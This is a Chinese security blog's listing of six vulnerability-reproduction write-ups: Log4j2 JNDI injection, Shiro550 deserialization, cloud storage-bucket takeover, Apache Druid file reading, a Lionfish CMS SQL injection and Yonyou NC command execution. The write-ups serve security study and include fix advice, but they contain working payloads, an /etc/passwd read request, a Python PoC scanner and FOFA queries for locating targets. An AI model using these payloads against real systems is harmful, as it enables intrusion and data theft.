首页
友链
联系我吧
Search
1
狮子鱼CMS ApiController.class.php SQL注入漏洞复现
2,298 阅读
2
SSRF绕过总结
984 阅读
3
存储桶接管-漏洞复现
763 阅读
4
春秋云镜免费靶场记录10.11
753 阅读
5
k8s安装及部分漏洞复现
749 阅读
web
welcome
漏洞复现
挖洞实战
总结
登录
/
注册
Search
n00bk1ng
累计撰写
36
篇文章
累计收到
9
条评论
首页
栏目
web
welcome
漏洞复现
挖洞实战
总结
页面
友链
联系我吧
搜索到
6
篇与
漏洞复现
的结果
2022-10-07
Log4j2(CVE-2021-44228)漏洞复现
原理Apache log4j 2是一个就Java的日志记录工具。存在JNDI注入漏洞,当程序记录用户输入的数据时,即可触发该漏洞。成功利用该漏洞可在目标服务器上执行任意代码。环境jdk7u21Apache Log4j 2.x <= 2.15.0-rc1分析调用栈exec:483, Runtime (java.lang) <init>:-1, Exploit10Q2cCwLFy newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect) newInstance:57, NativeConstructorAccessorImpl (sun.reflect) newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect) newInstance:525, Constructor (java.lang.reflect) newInstance0:374, Class (java.lang) newInstance:327, Class (java.lang) getObjectFactoryFromReference:163, NamingManager (javax.naming.spi) getObjectInstance:188, DirectoryManager (javax.naming.spi) c_lookup:1086, LdapCtx (com.sun.jndi.ldap) p_lookup:544, ComponentContext (com.sun.jndi.toolkit.ctx) lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx) lookup:203, GenericURLContext (com.sun.jndi.toolkit.url) lookup:94, ldapURLContext (com.sun.jndi.url.ldap) lookup:411, InitialContext (javax.naming) lookup:172, JndiManager (org.apache.logging.log4j.core.net) lookup:56, JndiLookup (org.apache.logging.log4j.core.lookup) lookup:198, Interpolator (org.apache.logging.log4j.core.lookup) resolveVariable:1060, StrSubstitutor (org.apache.logging.log4j.core.lookup) substitute:982, StrSubstitutor (org.apache.logging.log4j.core.lookup) substitute:878, StrSubstitutor (org.apache.logging.log4j.core.lookup) replace:433, StrSubstitutor (org.apache.logging.log4j.core.lookup) format:132, MessagePatternConverter (org.apache.logging.log4j.core.pattern) format:38, PatternFormatter (org.apache.logging.log4j.core.pattern) toSerializable:341, PatternLayout$PatternSerializer (org.apache.logging.log4j.core.layout) toText:240, PatternLayout (org.apache.logging.log4j.core.layout) encode:225, PatternLayout (org.apache.logging.log4j.core.layout) encode:59, PatternLayout (org.apache.logging.log4j.core.layout) directEncodeEvent:197, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender) tryAppend:190, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender) append:181, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender) tryCallAppender:156, AppenderControl (org.apache.logging.log4j.core.config) callAppender0:129, AppenderControl (org.apache.logging.log4j.core.config) callAppenderPreventRecursion:120, AppenderControl (org.apache.logging.log4j.core.config) callAppender:84, AppenderControl (org.apache.logging.log4j.core.config) callAppenders:543, LoggerConfig (org.apache.logging.log4j.core.config) processLogEvent:502, LoggerConfig (org.apache.logging.log4j.core.config) log:485, LoggerConfig (org.apache.logging.log4j.core.config) log:460, LoggerConfig (org.apache.logging.log4j.core.config) log:82, AwaitCompletionReliabilityStrategy (org.apache.logging.log4j.core.config) log:162, Logger (org.apache.logging.log4j.core) tryLogMessage:2190, AbstractLogger (org.apache.logging.log4j.spi) logMessageTrackRecursion:2144, AbstractLogger (org.apache.logging.log4j.spi) logMessageSafely:2127, AbstractLogger (org.apache.logging.log4j.spi) logMessage:2003, AbstractLogger (org.apache.logging.log4j.spi) logIfEnabled:1975, AbstractLogger (org.apache.logging.log4j.spi) error:732, AbstractLogger (org.apache.logging.log4j.spi) main:22, log4j2rce (log4j)使用Logger.error()报错,写入payload并打下断点,开始debug可以看到我们的payload存入了message中也就是说,我们需要查看调用方法对于message的操作,error()调用了logIfEnabled()方法,跟进后可以看到进行了一个if判断,isEnabled()是查看是否规则,判断为true,进入logMessage()方法,调用logMessageSafely()方法,跟进跟进后发现调用logMessageTrackRecursion(),跟进后,看到tryLogMessage()对message进行了操作,跟进看到是一个异常处理结构,调用Logger.log()报错进行了处理,跟进查看,发现调用AwaitCompletionReliabilityStrategy.log()方法对message进行处理,跟进跟进后,看到调用LoggerConfig.log()方法,跟进,这里mseeage变成了data并存入了event,这里就是将之前的报错存入event并调用重写的log()方法,跟进可以看到调用processLogEvent()方法对event进行处理,跟进跟进后,看到调用callAppenders()对event进行了处理,跟进,看到将信息存入一个数组,并对数组通过callAppender()进行了处理,跟进该方法,发现调用callAppenderPreventRecursion()进行了处理,继续跟进,可以看到调用claaAppender0()方法进行处理,跟进,发现调用AppenderControl.tryCallAppender(),跟进跟进后看到调用tryAppend(),继续跟进,调用AbstractOutputStreamAppender.directEncodeEvent()方法,跟进,看到PatternLayout.encode()对event进行了处理,跟进,调用toText()处理,跟进后,看到对event进行了序列化处理,跟进toSerializable()方法进入到toSerializable()方法,进入循环,调用PatternFormatter.format()处理event的每一段信息,这里我在处理到i=8时,调用MessagePatternConverter.format()这里是对$和{}进行处理,可以看到获取到长度之后,调用了StrSubstitutor.replace()方法,跟进查看,发现处理后会调用substiute()方法,并返回值,跟进跟进后发现是一个很长的方法,大概的意思就是对刚才截取到的$和{}进行处理,而且这里是个递归处理,可以在方法体中看到对substiute()做了第二次调用,这里调用的目的就是为了防止处理一次之后仍然存在$和{},然后持续步进直到处理完成,可以看到之前输入的payload已经没有了$和{}处理完之后,payload在varName中,然后看到调用resolveVariable()方法对varName进行处理,跟进,发现了lookup()被调用并处理了event,跟进可以看到Interpolator.lookup()对去掉$和{}的event进行了处理,如图,先是识别前缀为jndi,然后获取上面的jndi,然后继续向下处理,来到value这里,查看值为false,所以是进入第二个lookup进行处理,跟进,看到了调用,然后就看到了JNDI注入点了,结束其他支持的类在走到resolveVariable()时,我们可以看到getVaribleResolver()方法,跟进后,在他的strLookupMap中可以看到支持的前缀记录等级看大佬讲解,像之前百度搜索引擎直接可以打到dnslog,显然并不是由于报错导致的,也能攻击成功,这里说明了非报错也被记录了,因此去看下原因。在logIfEnabled()处,跟进isEnabled()方法,再跟进filter()方法,看到有一个intLevel和level.intLavel的比较,此处我们使用什么类型的信息,intLevel就会是什么记录等级,而level.intLevel是我们设置的记录等级,因此要想触发一些类型的信息,可以修改记录等级,或者是log4j2.xmlimport org.apache.logging.log4j.Level; import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; import org.apache.logging.log4j.core.config.Configurator; public class Test { private static Logger logger = LogManager.getLogger(Test.class); public static void main(String[] args) { Configurator.setLevel("Test", Level.INFO); logger.info("${jndi:ldap://127.0.0.1:1389/Basic/Command/Base64/b3BlbiAtbmEgQ2FsY3VsYXRvcgo=}"); } }log4j2.xml修改 <?xml version="1.0" encoding="UTF-8"?> <Configuration status="warn" name="MyApp" packages=""> <appenders> <console name="STDOUT" target="SYSTEM_OUT"> <PatternLayout> <pattern>%d %p %c{1.} [%t] $${ctx:loginId} %m%n</pattern> </PatternLayout> </console> </appenders> <Loggers> <Root level="info"> <AppenderRef ref="STDOUT"/> </Root> </Loggers> </Configuration>复现监听1389端口payload:*LOGGER*.error("${jndi:ldap://127.0.0.1:1389/Basic/Command/Base64/Y2FsYw==}");修复建议升级 Apache Log4j2 所有相关应用到最新的 log4j-2.15.0-rc2 版本升级 JDK 版本,建议 JDK 使用 11.0.1、8u191、7u201、6u211 及以上的高版本,从根源上杜绝大部分常规的 JNDI 注入临时措施在 jvm 参数中添加 Dlog4j2.formatMsgNoLookups=true 【针对 2.10.0 及以上的版本】系统环境变量中将FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS设置为true 【针对 2.10.0 及以上的版本】创建log4j2.component.properties 文件,文件中增加配置 log4j2.formatMsgNoLookups=true【针对 2.10.0 及以上的版本】限制受影响应用对外访问互联网
2022年10月07日
203 阅读
0 评论
1 点赞
2022-09-24
Shiro550漏洞复现
原理由于用于存储用户信息的RememberMe参数在加密处理时进行了AES加密、Base64加密、序列化处理,因此可以通过伪造该值将恶意代码写入导致Shiro550反序列化漏洞环境jdk1.8shiro-root-1.2.4分析加密过程当用户登录时,为DefaultSecurityManager.login(),会触发onSuccessfulLogin()方法然后在下方看到调用rememberMeSuccessfulLogin()方法,查看该方法可知进行请求就会调用AbstractRememberMeManager.onSuccessfulLogin()方法,查看方法可以看到选择存储RememberMe的就会走下面的if,就会调用rememberIdentity()方法,继续跟进可以看到在这里先调用了AbstractRememberMeManager.convertPrincipalsToBytes()跟进之后就能看到serialize()和encrypt()方法了分别进行分析,先看DefaultSerializer.serialize(),跟进,发现了这里序列化的处理再看AbstractRememberMeManager.encrypt()方法,此处是对已经序列化的参数进行了处理,如果不为空的话就调用JcaCipherService.encrypt()方法,在这之前有一个getEncryptionCipherKey()方法,直接跟进,直到看到调用的已被写死的key,如下图然后返回头继续看JcaCipherService.encrypt()方法,此时对ivBytes有一个处理,但是跟进没看明白。。。先继续往下,完成校验之后,会调用重载的encrypt()可以看到这里就会输出值output,也就是最终的结果,通过crypt()获取到bytes数组获取bytes数组的整个过程AbstractRememberMeManager.rememberIdentity()→AbstractRememberMeManager.rememberSerializedIdentity()→AbstractRememberMeManager.convertPrincipalsToBytes()→AbstractRememberMeManager.encrypt()→output解密过程前面login和onSuccessfulLogin基本相同,但是没找到从哪里调用的,于是直接从刚才找到encrypt()方法的类里找到decrypt()方法,看有谁调用了他然后就走到了AbstractRememberMeManager.getRememberedPrincipals()方法,可以看到在if里对convertBytesToPrincipals()方法进行了调用,先看上面对bytes数组获取的方法,发现bytes就是base64了获取的setcookie的值然后回过头来看AbstractRememberMeManager.convertBytesToPrincipals()方法,先对获取的bytes进行解码,然后再反序列化处理,于是跟进devrypt()方法如图,类似加密方法,同样是通过getDecryptionCipherKey()获取了默认的key值,然后再在JcaCipherService.decrypt()中进行了处理,跟进如图,对bytes值进行了一系列的处理,先是对iv的处理,类似于加密然后返回值到decrypt()中,在这里,将获取的decrypted值调用crypt()方法进行处理回到最开始的convertBytesToPrincipals()方法,查看DefaultSerializer.deserialize()也就是反序列化的处理,如图,直接发现漏洞触发点readObject(),整个过程结束通过该流程进行解码CookieRememberMeManager.rememberSerializedIdentity()→CookieRememberMeManager.getRememberedSerializedIdentity()→AbstractRememberMeManager.getRememberedPrincipals()→AbstractRememberMeManager.convertBytesToPrincipals()→AbstractRememberMeManager.decrypt()→JcaCipherService.decrypt()→JcaCipherService.crypt()复现import org.apache.shiro.crypto.AesCipherService; import org.apache.shiro.codec.CodecSupport; import org.apache.shiro.util.ByteSource; import org.apache.shiro.codec.Base64; import java.io.BufferedWriter; import java.io.FileWriter; import java.nio.file.FileSystems; import java.nio.file.Files; public class ShiroRememberMeExp { public static void main(String[] args) throws Exception { byte[] payloads = Files.readAllBytes(FileSystems.getDefault().getPath("F:/test/payload/urldns.ser")); AesCipherService aes = new AesCipherService(); byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA==")); ByteSource ciphertext = aes.encrypt(payloads, key); BufferedWriter out = new BufferedWriter(new FileWriter("payload.txt")); out.write(ciphertext.toString()); out.close(); System.out.println("OK"); } }生成序列化数据放到cookie中重放数据包弹计算器
2022年09月24日
190 阅读
0 评论
0 点赞
2022-05-23
存储桶接管-漏洞复现
漏洞原理类似于子域名接管,在存储桶被删除但是cname解析未删除的情况下,新建同名Bucket即可接管存储桶漏洞特征阿里云直接访问域名地址,显示AccessDenied访问下方存储桶地址,显示NoSuchBucket说明可以接管当前Bucket腾讯云访问下方存储桶地址,显示AccessDenied直接访问域名地址,显示NoSuchBucket说明可以接管当前Bucket百度云访问存储桶地址,显示NoSuchBucket直接访问域名位置,显示AccessDenied说明可以接管当前Bucket(不过百度云接管后Bucket存在一些不允许再次删除的不可逆问题)漏洞复现新建一个同名Bucket此时访问接管成功,尝试上传文件并配置访问权限由于并没有删除cname解析,所以直接添加域名解析就可以实现子域名接管
2022年05月23日
763 阅读
0 评论
0 点赞
2022-03-11
【CVE-2021-36749】 Apache Druid LoadData 任意文件读取
漏洞原理由于用户指定 HTTP InputSource 没有做出限制,可以通过将文件 URL 传递给 HTTP InputSource 来绕过应用程序级别的限制。由于 Apache Druid 默认情况下是缺乏授权认证,攻击者可利用该漏洞在未授权情况下,构造恶意请求执行文件读取,最终造成服务器敏感性信息泄露。影响版本Apache Druid Version < 0.22fofa语法title="Apache Druid"漏洞复现主界面进入后位于Load data使用HTTP(s)请求,Connect data在URLs后使用file://协议读取文件复现成功请求包POST /druid/indexer/v1/sampler?for=connect HTTP/1.1 Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0 Accept: application/json, text/plain, */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/json;charset=utf-8 Content-Length: 478 Origin: Connection: close Referer: xxx.xxx/unified-console.html { "type":"index", "spec":{ "type":"index", "ioConfig":{ "type":"index", "inputSource":{ "type":"http", "uris":[ "file:///etc/passwd" ] }, "inputFormat":{ "type":"regex", "pattern":"(.*)", "listDelimiter": "56616469-6de2-9da4-efb8-8f416e6e6965", "columns":[ "raw" ] } }, "dataSchema":{ "dataSource":"sample", "timestampSpec":{ "column":"!!!_no_such_column_!!!", "missingValue":"1970-01-01T00:00:00Z" }, "dimensionsSpec":{ } }, "tuningConfig":{ "type":"index" } }, "samplerConfig":{ "numRows":500, "timeoutMs":15000 } }
2022年03月11日
231 阅读
1 评论
-56 点赞
2021-08-07
狮子鱼CMS ApiController.class.php SQL注入漏洞复现
狮子鱼以小程序为载体,快速搭建社区社群社交资源的社区团购平台,帮助商家集中运营管理,轻松管理团长/商品/订单/配备货/售后/财务结算等主要销售场景由快递代收点、社区物业、业主等发起的社区微信群每个群都相当于一个社区店。fofa搜索body="/seller.php?s=/Public/login"产生原因public function goods_detail() { $goods_id = I('get.goods_id'); //gallery =>img_url //goods goods.goods_desc goods_name group_price market_price sell_count group_number $sql="select g.*,gd.description,gd.summary,gd.tag from ". C('DB_PREFIX')."goods g,".C('DB_PREFIX')."goods_description gd where g.goods_id=gd.goods_id and g.goods_id=".$goods_id; $goods_arr=M()->query($sql); $qian=array("\r\n"); $hou=array("<br/>"); $goods_arr[0]['summary'] = str_replace($qian,$hou,$goods_arr[0]['summary']); $sql="select image from ".C('DB_PREFIX')."goods_image where goods_id=".$goods_id; $goods_image=M()->query($sql); $gallery = array(); $default_image = ''; foreach($goods_image as $val) { $val['img_url'] = str_replace('http','https',C('SITE_URL')).'/Uploads/image/'.$val['image']; if(empty($default_image)) { $default_image = str_replace('http','https',C('SITE_URL')).resize($val['image'], C('goods_thumb_width'), C('goods_thumb_height')); } $gallery[] = array('img_url' => $val['img_url']); } $goods = $goods_arr[0]; 路径及参数位置路径: /index.php?s=api/goods_detail&goods_id=1漏洞复现库名:1 and updatexml(0,concat(0x7e,(database())),0)表名:1 and updatexml(0,concat(0x7e,(SELECT concat(table_name) FROM information_schema.tables WHERE table_schema=database() limit 0,1)),0)字段名:1 and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='库名' and table_name='表名' limit 0,1),0x7e),1)POC# -*- coding:utf-8 -*- import requests import re import json import sys import urllib3 urllib3.disable_warnings() #忽略https证书告警 vunl_path = "/index.php?s=api/goods_detail&goods_id=1%20and%20updatexml(1,concat(0x7e,database(),0x7e),1)" def POC(url): target_url = url + vunl_path headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36", } try: response = requests.get(url=target_url, headers=headers, verify=False, timeout=10) print("正在测试:", target_url) if "syntax" in response.text: print("上述地址存在SQL注入") except Exception as e: print("请求失败!") sys.exit(0) if __name__ == '__main__': print("python3 poc.py http://xx.xx.xx.xx") addr = str(input("Please input url")) POC(addr)
2021年08月07日
2,298 阅读
0 评论
18 点赞
2021-08-07
用友NC6.5 bsh.servlet.BshServlet 远程命令执行漏洞漏洞复现
用友NC用友NC是一款企业级管理软件,在大中型企业广泛使用。实现建模、开发、继承、运行、管理一体化的IT解决方案信息化平台。fofa搜索body="用友网络"影响范围用友NC6.5漏洞复现漏洞位置:xxx/servlet/~ic/bsh.servlet.BshServlet执行命令:exec("whoami");复现完成
2021年08月07日
616 阅读
1 评论
13 点赞